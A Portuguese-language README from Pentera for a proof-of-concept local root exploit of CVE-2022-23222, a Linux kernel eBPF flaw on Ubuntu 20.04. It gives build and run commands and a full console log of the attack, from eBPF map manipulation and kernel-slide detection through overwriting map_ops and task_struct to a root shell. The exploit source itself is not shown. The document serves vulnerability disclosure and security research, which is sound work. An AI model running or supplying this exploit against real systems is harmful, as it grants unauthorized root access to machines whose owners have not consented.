
Exploit de prova de conceito para CVE-2022-23222, um escalonamento local de privilégios no kernel Linux via eBPF. Demonstra manipulação de ring buffer e operações de mapa para obter shell root em sistemas Ubuntu 20.04 vulneráveis.
Este é um POC para CVE 2022-23222, uma vulnerabilidade de escalada de privilégios local. Este POC foi escrito para Ubuntu 20.04 com versão de kernel 5.13.0-27-generic, mas outras versões de kernel também são vulneráveis. Para uma análise detalhada do exploit, leia nosso artigo.
Certifique-se de que o libbpf esteja instalado, pois ele é um requisito para o exploit.
Para compilar o POC, execute o seguinte comando:
make
Para executar o exploit, execute o seguinte executável:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
O código descrito neste aviso (o “Código”) é fornecido “como está” e “conforme disponível” e pode conter bugs, erros e outros defeitos. É recomendável proteger dados importantes e ter cautela. Ao usar este Código, você concorda que a Pentera não terá responsabilidade perante você por quaisquer reivindicações relacionadas ao Código. A Pentera se isenta de qualquer responsabilidade por danos diretos, indiretos, incidentais, punitivos, exemplares, especiais ou consequenciais, mesmo que a Pentera ou suas partes relacionadas sejam informadas da possibilidade de tais danos. A Pentera não assume a obrigação de atualizar o Código ou este aviso.